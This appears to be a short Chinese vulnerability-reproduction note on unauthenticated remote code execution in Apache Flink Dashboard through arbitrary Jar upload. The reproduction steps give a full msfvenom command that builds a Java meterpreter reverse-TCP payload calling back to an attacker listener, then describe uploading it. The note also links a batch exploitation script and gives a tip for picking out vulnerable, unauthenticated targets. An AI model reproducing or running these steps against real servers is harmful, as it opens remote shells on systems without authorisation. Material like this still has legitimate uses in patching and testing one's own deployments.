Apache Flink Dashboard 未授权访问-远程代码命令执行¶
一、漏洞简介¶
Apache Flink的任意Jar包上传导致远程代码执行的漏洞
二、漏洞影响¶
\<= 1.9.1(最新版本)
三、复现过程¶
1、¶
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.10.20.166 LPORT=8989 -f jar > rce.jar
2、¶
上传alewong Jar包
批量脚本¶
https://github.com/ianxtianxt/Apache-Flink-Dashboard-rec
Ps:
当注释掉 if 'Unable to load requested file' in str(data):
之后，出现Token为空，或者 Unauthorized request 时候是不存在未授权访问的，而是带授权